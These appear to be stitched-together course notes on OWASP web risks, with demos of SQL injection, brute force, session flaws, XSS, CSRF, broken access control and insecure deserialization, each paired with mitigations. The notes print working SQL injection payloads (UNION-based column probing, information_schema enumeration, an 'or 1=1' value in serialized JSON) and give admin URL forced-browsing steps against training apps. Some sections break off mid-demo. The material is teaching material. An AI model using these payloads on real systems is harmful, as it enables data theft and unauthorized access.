SCT unit 2
SCT unit 2
About OWASP
A non-profit worldwide charitable organization
Focuses on improving the security of software applications
Educates designers, developers and business owners on various risks commonly
associated with Web applications
Step 2: Let us use the search functionality to display the user id and email id of the users who
have character ‘v’ in their user id.
Search String: v
Output:
The search functionality at the back-end has been coded in SQL as follows.
The variable 'matchText' gets user input
Then gets concatenated with the remaining SQL query string to complete the SQL query
The formed SQL query fetches the user id and the email id of the users whose user id
match the search character/string stored in matchText
Search String: v
Original Query:
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
Formed Query:
Select userid, email
From userAccounts
Where userid Like '%v%';
Exploit the Search Functionality of WeakApp Application Using SQL Injection - Demo
Demo Steps:
Most of the search functionalities in the back-end are coded using concatenation method.
The hackers try to exploit this vulnerability to hack into the applications.
Let us try to hack the application to reveal the username and passwords of all the users of
WeakApp application.
Step 1: Hacker will try to append his query to existing query coded in the back-end.
First the hacker will try to identify the number of columns used in the back-end query by
giving the below search string.
Search String
' union select null –
This query purposely has a space after the '
The query ends with -- that is used for commenting
The -- is followed by a space
Original Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
Formed Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%' union select null -- %';
The query will attempt to display the user id and email id of all the users appended with
null
The code written after the -- symbol gets commented
Here the appended text tries to append the data "null" to the already existing query.
However since both the queries that are used in union operation have different number of
columns it results in an error as follows
‘union select null --
The verbose (containing more words than necessary) error displayed, reveals all the
details that makes it easier for the hacker to craft his query.
Here the error enlists.
o Type of database used
o Number of columns not matching
This information is sufficient for the hacker to reform his query by appending 2 nulls
then 3 nulls until he is able to make a successful attempt that displays all the user ids,
with their email ids
Also he is aware that the database is a MariaDB (MariaDB Server is one of the most
popular open source relational databases.) database, hence the attacker would reform his
query as per the syntaxes of MariaDB database(if he has not already written it in a similar
syntax)
Step 2:
The hacker will now attempt to hack by appending 2 nulls in the select query
Search String
' union select null,null –
This query purposely has a space after the '
The query ends with -- that is used for commenting
The -- is followed by a space
Original Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%" + matchText + "%';
Formed Query
SELECT userid, email
FROM userAccounts
WHERE userid LIKE '%' union select null,null -- %'
The query will attempt to display the user id and email id of all the users appended with
null
The code written after the -- symbol gets commented
The query gets executed successfully without any error and displays the user id and email
id of all the users appended with null
The hacker draws below conclusions.
It is a MariaDB database
There are two columns used in the back-end query
With this information he can hack the database further.
Hack the Database –Demo
Hack the Search Functionality of WeakApp Application to Display all the User Names of
WeakApp Application along with their Passwords.
The Step by Step Hacking to Fetch the Details of Username and Passwords of all Users
of WeakApp Application
Demo Steps:
Step 1: Let us now try to gather the details of the information schema of this database.
Search String
' union SELECT table_schema, table_name
from information_schema.tables
where table_schema != 'mysql' AND table_schema != 'information_schema' –
Original Query
SELECT userid, email
FROM userAccounts
WHERE userid like '%" + matchText + "%';
Formed Query
SELECT userid, email
From userAccounts Where userid like '%' union select table_schema, table_name
From information_schema.tables
Where table_schema != 'mysql' AND table_schema != 'information_schema' -- %';
The query is appended with two columns, but instead of null it has been appended with
table schema name and table names
The query executes successfully displaying the output of the first query – all the user ids
and their respective email ids along with the output of the 2nd query – schema name and
table names of all the schema as follows
The hacker now knows there are four schemas in this database, namely:
1. Multillidae
2. Performance_schema
3. Phpmyadmin
4. Weakapp
Step 2: The hacker now knows that there is a schema with the name WeakApp for the
application WeakApp. He tries to get more details about this schema.
Search String
' union select table_name, column_name
from information_schema.COLUMNS
where table_schema = 'weakapp' –
Original Query
From the above cases the hacker can conclude that there exists a user in the database with
the name vvg. Also, he knows that there is no user with the name vvg1. With this
information the hacker can build a database of all the names that exist in the database.
He will apply brute force technique - trying one name at a time, by attempting with the
most common usernames. Also, he might be using automated tools to do this task.
Once the hacker retrieves all the usernames of applications he can use a strong password-
cracking tool to discover their passwords. With both username and passwords discovered,
the hacker can perform any activity on the database.
Mitigation
This issue can be resolved by implementing below solutions.
Displaying a generic message to the end user- “Username or Password is invalid", hence
making it difficult for the hacker to intrude
Tracking brute force attempts in system logs. Block the particular IP address that are
attempting it
Including Captcha in the application, to distinguish whether it’s a human or tool trying to
perform the attack
Making use of strong passwords with encryption
Brute Force Attack
A common threat faced by the web developers is a password guessing attack known as
brute force attack. A brute force attack is an attempt to discover a password by systematically
trying every possible combination of letters, numbers, and symbols until you discover the one
correct combination that works.
Let us look at a scenario to understand the brute force attack.
Password tokens are most commonly used where forgot password functionality is used. A
mail is sent to the user who requests for a password change with a link to change his/her
password.
Following is a sample password reset link.
https://EDUBank/resetPassword/61687
These links have a token that is valid for a limited period (10-15 minutes).The following
code is used by a website for generation of these password tokens.
A token is a one-time generated link that contains numbers and letters that'll allow you to
reset your password.
Random rand = new Random();
int low = 10000;
int high =100000;
token = rand.nextInt(high - low) + low;
This implementation has multiple issues.
Issue 1: The range in which the token numbers are generated is very small. Such random
numbers can be easily guessed
Issue 2: Token length is very small leading to brute force attack
Mitigation
The most obvious way to block brute force attacks is to simply lock out accounts after a
defined number of incorrect password attempts
locking out authentication attempts from known and unknown browsers or devices
Assign unique login URLs to blocks of users so that not all users can access the site from
the same URL
Use a CAPTCHA to prevent automated attacks
Token generation must use secure random number generation that is difficult to predict
Weak Passwords
The hacker was successful because the user passwords were the most commonly used
ones. The passwords such as 1234, password, qwerty etc. are considered to be weak passwords.
A hacker can create a list of such passwords to brute force them until the authentication
gets successful.
Mitigation
Ensure that strong passwords are used
One must regularly change passwords
One should ensure that passwords are not reused
Weak Password Reset Mechanism
The password change and reset function of an application is a self-service mechanism for
users. This allows users to quickly change or reset their password without an administrator
intervening.
When passwords are changed they are typically changed within the application. When
passwords are reset they are either rendered within the application or emailed to the user. This
may indicate that the passwords are stored in plain text or in a de-cryptic format.
Mitigation
Keep changing the cryptographic keys periodically
Ensure that any secret key is protected from unauthorized access
Ensure that the cryptographic protection remains secure even if access controls fail
Flaws in Session Management
Following are the common flaws in session management.
Session Fixation
Predictable Session IDs
Short session IDs
Inappropriate Session Timeout
Let us see about Session Fixation through an example.
Session Fixation
Session Fixation is an attack that permits an attacker to hijack a valid user session. The
attack is due to a limitation, the way the web application manages the session ID.
An attacker will target a vulnerable application and will learn about the application's
behavior as in how it manages user session IDs. While authenticating a user, the web application
might not be providing a different session ID which makes the application vulnerable.
Web applications which have session IDs visible in their URL are the most vulnerable
ones as they cover way for attackers to perform hacking.
Let us understand session fixation with help of a scenario.
Alex got an exciting offer on a holiday package to Prague in a website, GoHoliday.com.
He logs in and books a trip for himself
He shares the link, given below, with his friend Lisa
http://GoHoliday.com/tour_package/;jsessionid=2P0OC2JDPXM0OQSNDLJUN2JV?
dest=Prague
Lisa accesses the link and is able to book a trip for herself without spending a penny
How do you think, Lisa was able to book the trip?
The answer is, the active session ID. This application provided a session ID for
every user. But did not change it while authenticating the user. So, when Alex logs in, the
session ID got authenticated and active which enabled Lisa to book the trip using the same
session ID.
Mitigation
Different session IDs should be allocated to the user after authentication.
Session IDs should not be visible in the URL
Predictable or Sequential Session Ids and Short Session Ids
This method of hacking the websites which has a sequential pattern of generating session IDs.
If an attacker understands the pattern between the consecutive sessions generated by
the web application, he/she could easily predict what could be the next session and hence,
can gain access to an account without proper authentication
This will be more dangerous if he get to access the same session in which a user, having
admin privilege, is working. Thus entire system will be compromised in such a situation
Also, it is important to note that using very short session id values can lead to a brute
force attack which makes it easier to hack even if the values are created randomly
Let us consider the following scenario.
A hacker wants to gain the access of a web application which generates the sessions in
the following manner
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1234
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1235
http://www.localhost:8080/aviscanner.jsp?id=1234;sessionid=avis1236
He/she observers the pattern and decides to log in with the next session
Unfortunately, the next user is Alex, who is the admin of the web application. Once Alex
logs in, the hacker also logs in with the same session id and gains access to Alex's session
Now, hacker will get the access with admin privilege and can access the application
inside out
Mitigation
Session ids must be long, as long as 128-bits
Session ids must be unpredictable and random to prevent guessing of session id's
Session Timeout
There is one more way in which the session generation can be exploited by the hacker i.e.
session timeout.
Let us look at the following scenarios to gather more information about session timeout.
Scenario 1
The hacker has gained access to Alex's (legitimate user) authentication credentials
The hacker logs into the application as a legitimate user using Alex's authentication
credentials
Alex also logs into the application with his authentication credentials
Both of them were able to access the application at the same time
Scenario 2
Alex was accessing his gmail account
His manager calls him for some urgent work
Being in hurry, he left the desktop without logging off
After an hour, a colleague enters Alex's cabin and saw that his gmail account is open
This colleague misuses the situation for his/her own benefits
Mitigation
Avoid infinite session timeout
Session timeout value must be kept as minimum as possible which may vary from
application to application
Multiple sessions should not be allowed
Broken Authentication and Session Management Risk and Root Causes
Risks
Impersonation, especially gaining illegal access to privileged accounts.
Root causes
Flaws in authentication
o Username enumeration
o Weak passwords
o Allows brute force
o Weak Password Reset Mechanism
Flaws in session management mechanisms include
o Session fixation
o Sequential or predictable session IDs
o Short session IDs
o Inappropriate session timeout
To control the attacks arising due to broken authentication and session management, following
are the countermeasures.
Session IDs should be sufficiently lengthy to protect from brute force attacks
Use of strong algorithms to generate session IDs that would have the following properties
o It must be random and unpredictable
o Appropriate session timeouts
o Multiple sessions should not be allowed for critical transactions involving web
applications such as banking websites
o Enforce strong passwords
A7 Cross Site Scripting XSS
Cross-site scripting (XSS) enables attackers to inject client-side into web pages viewed
by other users. This vulnerability will be used by threat agents to bypass access controls like
authentications, access policies, etc.
Types of Cross Site Scripting
Persistent/ Stored Cross Site scripting - Whenever, there is a web application that takes
an input from the user, stores it the DB, subsequently displays the data in the browser, it
is possible to execute a malicious JavaScript code on the users browser. This malicious
script can do bad things ranging from virtual defacement to session hijacking. This is also
called as second-order/persistent XSS
Non-Persistent/ Reflected Cross Site scripting - Reflected cross-site
scripting vulnerabilities arise when data requested is echoed (it is not stored) into the
application's immediate response in an unsafe way. This is also called as first-order/non-
persistent XSS
DOM Cross Site scripting - Here the vulnerability is in the client-side code rather than
in the server-side code. This is in contrast to other XSS attacks (stored or reflected),
where the attack payload is placed in the response page (due to a server side flaw). This
also called as type-0 XSS
Motive of Cross Site Scripting (XSS)
Following are the motives of the attack.
To hijack user sessions, deface web sites, hijack the users' browser using malware
To exploit the trust relationship between the application and the end user by page
redirection
To steal user credentials
To execute Denial of Service (DoS) attack
To steal cookies (information that a website puts on a user's computer) and as a result
perform user impersonation
Procedure of the attack
Attacker sends text based attack scripts that exploit the interpreter in the browser
Attacker sends invalidated user supplied data to the browser
Attacker can access cookies, session tokens, or other sensitive information retained by the
browser and used with that website.
Explanation/more details of the attack
Cross-Site Scripting (XSS) attacks are a type of injection attacks, in which malicious
scripts are injected into trusted web sites
The end user’s browser has no way to know that the script should not be trusted, and will
execute the script. Because it thinks that the script came from a trusted source
Scripting languages like JavaScript are often used to facilitate enhanced features of
websites. These features are processed on the server, but the script on a specific page runs
on the user's browser
A3 Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit card details,
tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected
data to conduct credit card fraud, identity theft, or other crimes.
Sensitive data deserves extra protection such as encryption at rest or in transit, as well as
special precautions when exchanged with the browser.
Following are the motives of attack.
To expose individual user's data that can lead to account theft
To expose entire site by a comprised admin account
To perform phishing attack by using poor Secure Socket Layer (SSL) (protocol that
provides secure communication over the Interne) setup
Procedure of the attack
Unencrypted sensitive data is giving an easy data access to the attacker
Guessing keys are easy because of weak key generation algorithms. Weak keys also leads
to poor encryption
Weak password hashing techniques for key generation are used which is easy to crack by
a hacker
Browser weaknesses are very common and easy to detect
The backup data or plain data in transit can also be extracted by the attacker if it is not
encrypted
Mitigation
Ensure passwords are stored with an algorithm specifically designed for
password protection
Ensure that strong password hashing techniques are deployed
Proven decryption techniques must be used to ensure sensitive data protection
Sensitive Data Exposure Risks and Root Causes
Risks
Data breach
Session hijacking
Interception performing data transmit
Modification of data
Root causes
This attack is possible due to not protecting sensitive data using strong
encryption/hashing techniques
Other reason is transmitting sensitive data insecurely
Mitigation for Sensitive Data Exposure
To control the Sensitive Data Exposure attacks, following are the countermeasures.
All sensitive data should be encrypted where it is stored during backups.
Use SSL while transmitting sensitive data
Use strong encryption algorithms and strong keys to encrypt the sensitive data
Ensure your certificate is not invalid, expired or revoked that is used by the site
Disable caching and auto complete of form pages that collect sensitive data
A5 Broken Access Control
A direct object reference occurs when an identifier (E.g., primary key column of a
database table, file name), used in the internal implementation of a web application, is
exposed to users
When a requesting URL has a direct object reference of file, directory, database record,
or key(identifier/object values), an attacker can manipulate these object references.
Following are the motives of the attack.
To process and retrieve sensitive information which the attacker is not authorized to
access
To compromise all the data that are referenced by the parameter
Procedure of the attack
Attacker, who is an authorized system user, simply changes a parameter value that
directly refers to a system object to another object the user isn’t authorized to access
This attack occurs, when developer exposes a reference to an internal implementation
object like a file, directory, database record, or key, as a URL or form parameter
This lets the attacker to manipulate the references to access other objects without
authorization
Step 3: The above input can also be drafted using XML DTD. The following input will also
fetch the same result as shown in step 2.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE employee [
<!ENTITY name1 "Rahul">
<!ENTITY password1 "Rahul*123">
<!ENTITY name2 "Sunny">
<!ENTITY password2 "Sunny*123">
]>
<footer>&name1;&password1;&name2;&password2;</footer>
Step 3: Hacker now tries the other combination to test the application by giving some random
password say "12345" and leaves the User Id field blank.
Step 4: Now, the hacker concludes that to login both userid and password are required. He
attempts by giving the User Id as ' and Password as 12345. On clicking the Login button, an
error page will be displayed as shown in the following image.
The message in the error page gives the following information to the hacker.
1. Syntax exception has been raised
2. The database server used is the MariaDB server
3. Password is shown in the error page itself
These kinds of error pages reveal too much information about the configurations of the
application which in-turn encourages the hackers to improvise their attack. He now knows the
type of database and can tweak his injection queries accordingly.
Mitigation
In the process of developing the application, developer should implement error messages
carefully
The error messages should not contain any important message regarding the
configuration of the applications
A generic error message stating - "Something went wrong" will make it difficult for the
hacker to guess and exploit
A7 Missing Function Level Access Control
Most web applications verify function level access rights before making that functionality
visible in the UI (User Interface). If requests are not verified, attackers will be able to forge
requests in order to access functionality without proper authorization.
Motive of Missing Function Level Access Control
Following are the motive of attack.
To gain complete control of the target system
To access private administrative functions through anonymous users
To access privileged functions through authorized users
Procedure of the attack
Changing the URL parameters to access privileged page who is an authorized system
user
Predicting names of files/folders to access the content. Similar file structure with
matching names makes the content location more predictable
Guessing the content name and location or applying brute force to gain access
Explanation/more details of the attack
This vulnerability occurs when an application displays sensitive features of links or URLs to
unauthorized users. Attacker gain access and perform unauthorized operations to the hidden
content by accessing those URLs directly
Let us understand Missing Function Level Access Control attack scenario with the help of a
demo.
For this demo we will be using AltoroMutual application designed by IBM. It is
a deliberately designed vulnerable application used only for training purposes.
AltoroMutual has a feature called "login" through which a normal user and an admin user
can log into the application.
Step 1: This feature can be accessed by following the below steps.
Copy the link http://www.altoromutual.com/ in any browser
Click on the link – “Sign In"
Enter the username as "admin" and password as "admin" to login as admin user into the
application
Step 2: Upon login, you can see admin can perform administrative task like edit users etc.
Step 3: Click on “edit users” icon to view the edit user page as admin. Also notice the URL in
browser as highlighted http://demo.testfire.net/admin/admin.aspx.
Step 4: Open a new browser window and repeat Step 1 but login as a normal user with username
“jsmith” and password as “demo1234”.
1. Shows that the user who has logged-in is “jsmith” from session contents information.
2. Shows that URL of page is having "/admin/admin.aspx"
From above two points, it confirms that normal user John (jsmith) has acquired admin role on
simply pasting the privileged link http://demo.testfire.net/admin/admin.aspx
Also try out the following sequence of steps.
Logoff from both the accounts - John and admin's
In the second browser and paste the admin
URL http://demo.testfire.net/admin/admin.aspx
Observe the output
Login only in the second browser as John (jsmith) and paste the admin
URL http://demo.testfire.net/admin/admin.aspx
Observe the output
Mitigation
Check authentication and authorization before providing access to the users according to
their role
Before rendering the page the role of logged in user John should be verified, if he does
not have admin access then the page should not rendered
To control the Missing Function Level Access Control attacks, following are the
countermeasures.
UI (User Interface) should show only those features that are accessible to target users and
hide unauthorized functions from the end users view
Check authentication and authorization before providing access to the users
Perform validation at the server end and before servicing the request
A8 Cross Site Request Forgery CSRF
CSRF is an attack that forces an end user to execute unwanted actions on a web
application in which they are currently authenticated.
CSRF attacks specifically target state changing requests, not theft of data. If the victim is
a normal user, a successful CSRF attack can force the user to perform state changing
requests like transferring funds, changing their email address, and so forth. If the victim
is an administrative account, CSRF can compromise the entire web application.
A CSRF attack forces a logged in victim’s browser to send a forged HTTP request,
including the victim’s session cookie and any other automatically included authentication
information, to a vulnerable web application.
Following are the motives of attack.
To access unauthorized functionality
To compromise end user data and operation, when the target is normal user
To compromise the entire web application, if the targeted end user is an administrator
account
Procedure of the attack
Attacker creates fake HTTP requests and tricks a victim into submitting them via image
tags, XSS, or numerous other techniques
If the user is authenticated, the attack succeeds
Attackers can trick victims into performing any state changing operation the victim is
authorized to perform, e.g. updating account details, making purchases, logout and even
login.
Exploring the Existing Functionality of Bank Teller of EDUBank Application
Demo Steps:
For this demo we will be using an internal application EDUBank. This application has a
feature through which a bank teller can credit money to any existing bank account and can also
create new account for customers.
Step 1: This feature can be accessed by following the below steps.
Copy the link http://vjeemys-09:3333/EDUBank/tellerLogin in Chrome
Enter the login name “T7302” and password “T7302*abc” to login as bank teller T7302
as shown below
Let us understand the background actions of transferring the amount from bank teller to another
account.
Step 6: Click on your browser (Chrome) menu > choose "More tools" >click on "Developers
tools" to view network traffic.
Above screenshot shows the following.
1. First icon shows that request contains URL of application which is requesting parameters
"account number" and "account" from browser
2. To see the traffic generated during addMoney functionality, click on Network tab
3. Click on addMoney to see the traffic details of the transaction addMoney
4. Browser has submitted the request to EDUBank application
5. Browser is communicating with application through POST method
6. Browser is submitting account number as request parameter to the application
7. Browser is submitting amount as request parameter to the application
Step 7: Right click on web page as shown in above image and select "View page source" to open
HTML page as below.
Above screenshot show EDUBank application sends a HTML form to the user with the
URL "http://vjeemys-09:3333/EDUBank/addMoney" and contains same account number which
has been requested by the teller.
Demo Steps:
In this demo we will try to hack the EDUBank application by exploiting the CSRF
vulnerability in order to perform some unauthorized transactions as a Bank Teller.
Step 1: The Bank Teller (Steve) receives a malicious email containing link for an
interesting game through an unknown source.
Step 2: He clicks on that link out of temptation. Upon clicking the link in mail, a game page
gets displayed in the same browser (where Bank Teller is logged in) but in a new tab.
Step 3: He clicks on the button "Click here to Start” to play the game.
Below screenshot shows that on clicking the start button, he is shocked to find that he has added
money to some other account.
Finding the Reason for CSRF Vulnerability in EDUBank Application
Demo Steps:
Step 1: Copy the malicious game link
"http://vjeemys-09:5555/WeakApp/faces/playgame.html" in a new tab in browser and press
enter. You will notice that the URL of game page actually directs to some other site, in this
case WeakApp as highlighted.
Step 2: Right click in the game page and select "View page source" option
Below screenshot explains that the source code contains malicious page. The malicious
page contained a form with hidden fields (account number and amount)
First icon shows that bank teller has visited malicious website WeakApp
Second icon shows that the source page consists of HTML page which is by default
taking account number as a hidden form attribute
Third icon shows that source page contains amount to be transferred as a hidden form
attribute
Step 3: Click on your browser (Chrome) menu > choose "More tools" >click on "Developers
tools" to view network traffic.
Step 4: When the bank teller clicks on “Click here to Start” button to play the game, the form is
submitted to EDUBank as highlighted in the below image.
1. First icon shows that from is submitted to EDUBank
2. Second icon shows that page have URL of EDUBank
3. Third icon shows that source page consists of HTML page which is by default taking
account number as a pre-coded value
4. Fourth icon shows that source page contain amount to be transferred hidden in
background as a pre-coded value
Why did it happen?
The main reason for this malicious action was that the EDUBank server could not
distinguish from which tab the request came from, since the teller was already logged in
hence it executed the request
There was no authentication before the execution of the transaction
The WeakApp site was able to submit a forged request to EDUBank, hence resulting in
Cross Site Request Forgery.
Mitigation
Users should be cautious about the links provided in the forwarded mails before clicking
Developers must use multi authentication method like OTP to perform any transaction. In
this case, if an OTP was required to transfer funds, the transaction might not have gone
through.
A8 Insecure Deserialization
let us try to understand serialization and deserialization.
Serialization is a process which converts an object into byte stream that can be easily
stored and transmitted in textual form. The reverse of serialization i.e. creating object from byte
stream is termed as deserializaion.
Insecure Deserialization vulnerability occurs when the application accepts untrusted input
and deserialize it.
Attack motive
To alter database
To get access to unauthorized privileges
To cause denial of data access
To execute remote code
Procedure of the attack
An attacker puts untrusted input which gets deserialized and results in exploitation of the
application
Scenario
Let us take an example of a game. Suppose when the game is finished, it hits the server to log
and retrieve high scores. It sends the object by using the process of serialization.
Let us suppose the object takes the following inputs.
{
“Username” : “Alex”
“TimeTaken” : “45:00”
“Score” : “4445”
}
After serialization it will be converted in the following format and sent to the server.
{"Username" : "Alex", "TimeTaken" : "45:00" , "Score" : "4445"}
Now, it will retrieve all the high scores of the user. To retrieve the high scores from the server
deserialization process is used. Suppose that the application is using the following SQL query to
retrieve the required data.
"select score from highscore where username = '" + game.username + "';"
Attacker could insert SQL injection payload directly into the serialized object as following code.
{"Username" : " 'or '1'= '1 ", "TimeTaken" : "45:00" , "Score" : "4445"}
The server will deserialize the data and then use it as the object. It will take the username as the
injected input which will retrieve irrelevant data also.
Risks
Data from the server can be extracted
Other attacks can also be executed through Insecure Deserialization vulnerability
Unauthorized privileges can be accessed
Root causes
Not validating the user input
Not monitoring the deserialization process
Giving high privilege environment while deserialization
Mitigations
Data tampering (something in order to cause damage) should be prevented by
implementing integrity checks such as digital signatures
Strict type constraints must be enforced during deserialization before object creation.
Low privilege environments must be provided while running the code which is used for
deserialization.
Restricting or monitoring incoming and outgoing network connectivity from containers
or servers that deserialize.
A9 Using Components With Known Vulnerabilities
Components, such as libraries, frameworks, and other software modules, almost always
run with full privileges. If a vulnerable component is exploited, it can facilitate the attacker in
performing serious data loss activity or in takeover of a server.
Attackers can identify the components (frameworks, libraries), their versions and their
vulnerabilities used by an application and exploit vulnerabilities in those components.
General input as per OWASP.
"In many cases, the developers don't even know all the components they are using, never
mind their versions."
"Component dependencies make things even worse."
Following are the motives of Attack.
To access the range from minimal to complete host takeover and data compromise
To design a sophisticated malware by using component vulnerability for targeting a
specific organization
To run the components with full privilege and exploit the flaws in the components
Procedure of the attack
Attacker identifies a weak component through scanning or manual analysis
He customizes the exploit as needed and executes the attack. It gets more difficult if the
used component is deep in the application
Extract Details of Vulnerability Components from National Vulnerability Database
Demo Steps:
The NVD is the U.S. government repository of standards based vulnerability
management data. This data enables automation of vulnerability ( state of being exposed to the
possibility of being attacked ) management, security measurement, and compliance. The NVD
includes databases of security checklist references, security-related software flaws,
misconfigurations, product names, and impact metrics.
Step 1: Copy the link https://nvd.nist.gov/ in browser to access the website of NVD.
Step 2: Expand the “Vulnerabilities” icon.
Step 4: Click on any month (e.g., April 2018) as highlighted in above image. One can
find vulnerabilities enlisted with CVE code (CVE Pattern :<YEAR NAME>-<RECORD
NUMBER>) as shown below.
For e.g., - “CVE-2018-1270”
Step 5: To know more about this vulnerability, click on "CVE-2018-1270".
Below image shows that the vulnerability "CVE-2018-1270" is a spring framework incident
which was recorded in April 2018. It has a description about vulnerability and its impact on
application.
Risks
Trivial to sophisticated malware attacks on the organization
Root causes
Using components that are vulnerable
Not keeping frameworks, software libraries and custom code up to date
Mitigation for Using Components with Known Vulnerabilities
Step 3: Design a data free flow diagram of application by using elements explained in step 2 as
follow.
Step 4: Click on View > Analysis view
Step 5: It will display various threat that may occur after developing the application.
On selecting a threat, you can find description about the threat and its priority
(High/Medium/Low) with respect to implementation.
Accordingly, the web application designer can make changes in the design of the web
application to make it more secure.